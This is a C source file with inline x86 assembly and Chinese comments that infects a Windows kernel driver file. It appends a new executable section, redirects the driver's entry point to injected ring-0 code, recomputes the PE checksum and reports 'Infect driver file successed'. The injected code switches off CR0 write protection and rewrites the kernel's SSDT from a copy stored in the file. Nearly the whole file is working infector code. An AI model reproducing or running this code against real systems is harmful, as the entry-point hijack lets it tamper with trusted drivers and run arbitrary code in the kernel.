|
#include <windows.h>
#include <stdio.h>
#include <assert.h>
#define SECTION_SIZE 0x1000
#define SECTION_NAME ".ssdt"
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef LONG NTSTATUS;
DWORD ssdt[284]={0};
typedef NTSTATUS (CALLBACK* NTQUERYSYSTEMINFORMATION)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
typedef struct {
DWORD dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
#define SystemModuleInformation 11
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation ;
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
if (0 != result)
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
//增加一个节
BOOL AddSection(char *fileName)
{ IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
IMAGE_SECTION_HEADER *sectionHeader;
IMAGE_SECTION_HEADER *newSectionHeader;
IMAGE_SECTION_HEADER *lastSectionHeader;
int numOfSections;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Failed\n");
return FALSE;
}
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
printf("CreateFileMapping Failed\n");
return FALSE;
}
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
if(lpBase==NULL)
{
printf("MapViewOfFile Failed\n");
return FALSE;
}
dosHeader=(IMAGE_DOS_HEADER*)lpBase;
if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
printf("This is not a windows file\n");
return FALSE;
}
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
{
printf("This is not a win32 file\n");
return FALSE;
}
FILE_ALIGN_MENT=ntHeader->OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT=ntHeader->OptionalHeader.SectionAlignment;
numOfSections=ntHeader->FileHeader.NumberOfSections;
ntHeader->FileHeader.NumberOfSections++;
sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));
lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1];
newSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections];
memset(newSectionHeader,0,sizeof(IMAGE_SECTION_HEADER));
strncpy((char*)newSectionHeader->Name,SECTION_NAME,strlen(SECTION_NAME));
newSectionHeader->VirtualAddress=Align(lastSectionHeader->VirtualAddress+lastSectionHeader->Misc.VirtualSize,SECTION_ALIGN_MENT);
ntHeader->OptionalHeader.AddressOfEntryPoint=newSectionHeader->VirtualAddress;
newSectionHeader->Misc.VirtualSize=Align(3000,SECTION_ALIGN_MENT);
newSectionHeader->PointerToRawData=Align(lastSectionHeader->PointerToRawData+lastSectionHeader->SizeOfRawData,FILE_ALIGN_MENT);
newSectionHeader->SizeOfRawData=Align(SECTION_SIZE, FILE_ALIGN_MENT);
newSectionHeader->Characteristics=0xE0000020;
ntHeader->OptionalHeader.SizeOfCode=Align(ntHeader->OptionalHeader.SizeOfCode+SECTION_SIZE, FILE_ALIGN_MENT);
ntHeader->OptionalHeader.SizeOfImage=ntHeader->OptionalHeader.SizeOfImage+Align(SECTION_SIZE, SECTION_ALIGN_MENT);
FlushViewOfFile(lpBase,0);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
if(SetFilePointer(hFile,SECTION_SIZE,NULL,FILE_END)==-1)
{
printf("SetFilePointer failed\n");
return FALSE;
}
if(!SetEndOfFile(hFile))
{
printf("SetEndOfFile failed\n");
return FALSE;
}
CloseHandle(hFile);
return TRUE;
}
#define KernelBase 0x4
#define AddressOfFunctions 0x8
#define AddressOfNames 0xc
#define AddressOfNameOrdinals 0x10
#define KeServiceDescriptorTable 0x4
#define DbgPrint 0x8
#define PrintString 0xc
#define oldssdt 0x10
static __declspec(naked)void DriverEntry()
{
_asm
{
push ebp;
mov ebp,esp;
sub esp,80h;
mov eax,[ebp+08h];
mov ebx,[eax+0ch];//DriverStart
mov eax,[eax+10h];//DriverSize
add ebx,eax;
sub ebx,0x1000; //ebx查找的起始地址
xor eax,eax; //eax查找偏移
//查找函数字符串
SeachKeServiceDescriptorTable:
cmp dword ptr[ebx+eax],0xffffffff;
jnz aKeServiceDescriptorTable;
mov ecx,ebx;
add ecx,eax;
add ecx,4;
mov [ebp-KeServiceDescriptorTable],ecx; //KeServiceDescriptorTable
add eax,4;
SeachDbgPrint:
cmp dword ptr[ebx+eax],0xfffffffe;
jnz aDbgPrint;
mov ecx,ebx;
add ecx,eax;
add ecx,4;
mov [ebp-DbgPrint],ecx; //DbgPrint
add eax,4;
//查找输出字符串
Seachxxx:
cmp dword ptr[ebx+eax],0xfffffffd;
jnz aSeachxxx;
mov ecx,ebx;
add ecx,eax;
add ecx,4;
mov [ebp-PrintString],ecx;
//查找old ssdt
seachSsdt:
cmp dword ptr[ebx+eax],0xfffffffc;
jnz aseachSsdt;
mov ecx,ebx;
add ecx,eax;
add ecx,4;
mov [ebp-oldssdt],ecx;
push [ebp-KeServiceDescriptorTable];
//得到KeServiceDescriptorTable地址
call GetFunctionAddress;
cmp eax,0;
jz DriverEntryEnd;
mov [ebp-KeServiceDescriptorTable],eax;
push [ebp-DbgPrint];
//得到DbgPrint函数地址
call GetFunctionAddress;
cmp eax,0;
jz DriverEntryEnd;
mov [ebp-DbgPrint],eax;
push [ebp-PrintString];
//调用DbgPrint输出信息
call [ebp-DbgPrint];//输处信息
//通过_KPCR结构得到kernelBase
push 30h
pop fs;
mov ecx,dword ptr fs:[34h];
mov ecx ,[ecx+10h];
push ecx;
push [ebp-oldssdt];
mov ebx,[ebp-KeServiceDescriptorTable];
mov ebx,[ebx];
push ebx;
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
//恢复ssdt
call RsetSSdt;
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
DriverEntryEnd:
xor eax,eax;
xor ebx,ebx;
mov esp,ebp;
pop ebp;
retn 8;
aKeServiceDescriptorTable:
inc eax;
cmp eax,0x1000;
jb SeachKeServiceDescriptorTable;
jmp DriverEntryEnd;
aDbgPrint:
inc eax;
cmp eax,0x1000;
jb SeachDbgPrint;
jmp DriverEntryEnd;
aSeachxxx:
inc eax;
cmp eax,0x1000;
jb Seachxxx;
jmp DriverEntryEnd;
aseachSsdt:
inc eax;
cmp eax,0x1000;
jb seachSsdt;
jmp DriverEntryEnd;
//恢复ssdt函数
RsetSSdt:
push ebp;
mov ebp,esp;
mov esi,[ebp+08h]; //now ssdt
mov edx,[ebp+0ch]; //old ssdt
xor eax,eax;
start: mov ecx,eax;
shl ecx,2;
mov ebx,[edx+ecx];
add ebx,[ebp+10h];//kernelBase
cmp ebx,[esi+ecx];
jnz set;
inc eax;
cmp eax,284;
jb start;
jmp RsetSSdtEnd;
set:
mov [esi+ecx],ebx;
inc eax;
cmp eax,284;
jb start;
RsetSSdtEnd:
mov esp,ebp;
pop ebp;
ret 0ch;
//遍历内核导出表,得到函数地址函数
GetFunctionAddress:
push ebp;
mov ebp,esp;
sub esp,0x80;
push 30h
pop fs
mov ecx,dword ptr fs:[34h];
mov ecx ,[ecx+10h];
mov [ebp-KernelBase],ecx; //[ebp-04h]==kernelBase
mov eax,[ecx]IMAGE_DOS_HEADER.e_lfanew;
add eax,[ebp-KernelBase]; //eax=ntheader的地址
mov eax,[eax]IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
add eax,[ebp-KernelBase]; //eax=导出表地址
mov ebx,[eax+1ch];
add ebx,[ebp-KernelBase]; //ebx=AddressOfFunctions
mov [ebp-AddressOfFunctions],ebx;//[ebp-08h]保存AddressOfFunctions
mov ebx,[eax+20h];
add ebx,[ebp-KernelBase];
mov [ebp-AddressOfNames],ebx;//[ebp-0ch]保存AddressOfNames;
mov ebx,[eax+24h];
add ebx,[ebp-KernelBase];
mov [ebp-AddressOfNameOrdinals],ebx;
mov esi,[eax+18h];//esi=NumberOfNames
mov [ebp-14h],esi;
mov edx, [ebp-AddressOfNames];//edx=AddressOfNames
xor ecx,ecx;
xor esi,esi;
seach:
mov ecx,esi;
shl ecx,2;
add ecx,edx;
mov ecx ,[ecx];
add ecx,[ebp-KernelBase];
push ecx;
push [ebp+08h];
call CmpString;
cmp eax,0;
jz v1;
jmp find
v1:
inc esi;
dec dword ptr[ebp-14h];
jnz seach
xor eax,eax
EndGetFunctionAddress:
mov esp,ebp;
pop ebp;
ret 4;
find:
shl esi,1;
mov ebx,[ebp-AddressOfNameOrdinals];
add ebx,esi;
xor ecx,ecx;
mov cx,word ptr[ebx];
shl ecx,2;
mov ebx ,[ebp-AddressOfFunctions];
add ebx,ecx;
mov eax, [ebx];
add eax,[ebp-KernelBase];
jmp EndGetFunctionAddress;
//字符串比较函数
CmpString:
push ebp;
mov ebp,esp;
pushad;
pushfd;
mov eax,[ebp+08h];
mov ebx,[ebp+0ch];
xor ecx,ecx;
xor esi,esi;
cmpstr:
mov dl,byte ptr[eax+esi];
cmp dl,0h;
jz same;
mov ecx,esi;
inc esi;
cmp byte ptr[ebx+ecx],dl;
jz cmpstr;
popfd;
popad;
xor eax,eax;
jmp CmpStringEnd;
same: popfd;
popad;
mov eax,1;
CmpStringEnd:
mov esp,ebp;
pop ebp;
ret 8;
}
}
static __declspec(naked) Ring0CodeEnd()
{
_asm ret;
}
BOOL GetNtQuerySystemInformation()
{
NtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)GetProcAddress(::GetModuleHandle("ntdll"),"NtQuerySystemInformation");
if(NtQuerySystemInformation==NULL)
return FALSE;
return true;
}
BOOL GetKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
PDWORD pService;
DWORD dwKiServiceTable;
PIMAGE_OPTIONAL_HEADER poh;
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwPointer;
DWORD point;
dosHeader=(IMAGE_DOS_HEADER*)hModule;
if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
printf("This is not a windows file\n");
return FALSE;
}
ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew);
if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
{
printf("This is not a win32 file\n");
return FALSE;
}
poh=(PIMAGE_OPTIONAL_HEADER)((DWORD)ntHeader+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER));
pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
BOOL bFirstChunk=TRUE;
while(bFirstChunk||pbr->VirtualAddress)
{
bFirstChunk=FALSE;
for (DWORD i=0;((pbr->SizeOfBlock-8)/2)>i;i++)
{
if(pfe->type==IMAGE_REL_BASED_HIGHLOW)
{
dwPointer=pbr->VirtualAddress+pfe->offset;
point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase;
if(point==dwKSDT)
{
if(*(PWORD)(dwPointer+(DWORD)hModule-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase;
DWORD i=0;
for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable);
*pService-ntHeader->OptionalHeader.ImageBase<ntHeader->OptionalHeader.ImageBase;
pService++,i++)
{
ssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase;
}
}
}
}
pfe++;
}
pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
}
return TRUE;
}
//得到原始的ssdt
BOOL GetOldSsdt()
{
HMODULE hModule;
DWORD dwKSDT;
DWORD dwNeededSize,rc;
PMODULES pModules=(PMODULES)&pModules;
PCHAR pKernelName;
if(!GetNtQuerySystemInformation())
{
printf("get NtQuerySystemInformation failed \n");
return FALSE;
}
rc=NtQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
rc=NtQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
} else {
strange:
printf("strange NtQuerySystemInformation()!\n");
return FALSE;
}
if (!NT_SUCCESS(rc)) goto strange;
pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
hModule=LoadLibraryEx(pKernelName,NULL,DONT_RESOLVE_DLL_REFERENCES);
if(hModule==NULL)
{
printf("load ntkrnlpa.exe failed\n");
return FALSE;
}
dwKSDT=(DWORD)GetProcAddress(hModule,"KeServiceDescriptorTable");
if(dwKSDT==NULL)
{
printf("get KeServiceDescriptorTable failed");
return FALSE;
}
dwKSDT=dwKSDT-(DWORD)hModule;
if(!GetKiServiceTable(hModule,dwKSDT))
{
printf("get ssdt failed\n");
return FALSE;
}
return TRUE;
}
//得到DriverEntry数据
PVOID GetCode(DWORD *codeSize)
{
*codeSize=(DWORD)Ring0CodeEnd-(DWORD)DriverEntry;
// printf("codeSize:%X\n",*codeSize);
PVOID code=malloc(*codeSize);
memcpy(code,(PVOID)DriverEntry,*codeSize);
return code;
}
//把数据写入新节
BOOL WriteCodeToFile(char *fileName,PVOID code,DWORD codeSize)
{
IMAGE_SECTION_HEADER *sectionHeader;
IMAGE_SECTION_HEADER *lastSectionHeader;
HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Failed\n");
return FALSE;
}
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
printf("CreateFileMapping Failed\n");
return FALSE;
}
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
if(lpBase==NULL)
{
printf("MapViewOfFile Failed\n");
return FALSE;
}
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
dosHeader=(IMAGE_DOS_HEADER*)lpBase;
if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
printf("This is not a windows file\n");
return FALSE;
}
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
{
printf("This is not a win32 file\n");
return FALSE;
}
int numOfSections=ntHeader->FileHeader.NumberOfSections;
sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));
lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1];
DWORD codeAddress=lastSectionHeader->PointerToRawData+(DWORD)lpBase;
memset((PVOID)codeAddress,0,SECTION_SIZE);
memcpy((PVOID)codeAddress,code,codeSize);
DWORD strAddress=codeAddress+codeSize+100;
*(DWORD*)strAddress=0xffffffff;
strAddress+=4;
strcpy((char*)strAddress,"KeServiceDescriptorTable");
strAddress=strAddress+strlen("KeServiceDescriptorTable")+10;
*(DWORD*)strAddress=0xfffffffe;
strAddress+=4;
strcpy((char*)strAddress,"DbgPrint");
strAddress=strAddress+strlen("DbgPrint")+10;
*(DWORD*)strAddress=0xfffffffd;
strAddress+=4;
strcpy((char*)strAddress,"just for fun-----xiao ji ji\n");
strAddress=strAddress+strlen("just for fun-----xiao ji ji\n")+10;
*(DWORD*)strAddress=0xfffffffc;
strAddress+=4;
memcpy((PVOID)strAddress,ssdt,284*4);
FlushViewOfFile(lpBase,0);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return TRUE;
}
USHORT
ChkSum(
ULONG PartialSum,
PUSHORT Source,
ULONG Length
)
{
while (Length--) {
PartialSum += *Source++;
PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
}
return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}
//计算校验和
BOOL CountCheckSum(char *fileName)
{
DWORD buffSize;
PWORD AdjustSum;
HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Failed\n");
return FALSE;
}
buffSize=GetFileSize(hFile,NULL);
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
printf("CreateFileMapping Failed\n");
return FALSE;
}
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
if(lpBase==NULL)
{
printf("MapViewOfFile Failed\n");
return FALSE;
}
USHORT PartialSum;
PIMAGE_NT_HEADERS32 ntHeader;
PIMAGE_DOS_HEADER dosHeader;
PartialSum = ChkSum(0, (PUSHORT)lpBase, (buffSize + 1) >> 1);
dosHeader=(PIMAGE_DOS_HEADER)lpBase;
ntHeader=(PIMAGE_NT_HEADERS32)(dosHeader->e_lfanew+(DWORD)lpBase);
if(ntHeader->OptionalHeader.Magic == 0x10B)
{
AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)ntHeader)->OptionalHeader.CheckSum);
PartialSum -= (PartialSum < AdjustSum[0]);
PartialSum -= AdjustSum[0];
PartialSum -= (PartialSum < AdjustSum[1]);
PartialSum -= AdjustSum[1];
}
ntHeader->OptionalHeader.CheckSum=(DWORD)PartialSum+buffSize;
FlushViewOfFile(lpBase,0);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return TRUE;
}
int main(int argc, char* argv[])
{
char fileName[MAX_PATH];
strcpy(fileName,argv[1]);
if(!AddSection(fileName))
{
printf("Add Section failed\n");
return 0;
}
DWORD codeSize;
PVOID code=GetCode(&codeSize);
if(code==NULL)
{
printf("get code failed\n");
return 0;
}
if(!GetOldSsdt())
{
printf("get old ssdt failed\n");
return 0;
}
if(!WriteCodeToFile(fileName,code,codeSize))
{
printf("write code to file failed\n");
return 0;
}
if(!CountCheckSum(fileName))
{
printf("count checksum failed\n");
return 0;
}
printf("Infect driver file successed\n");
return 0;
} |
|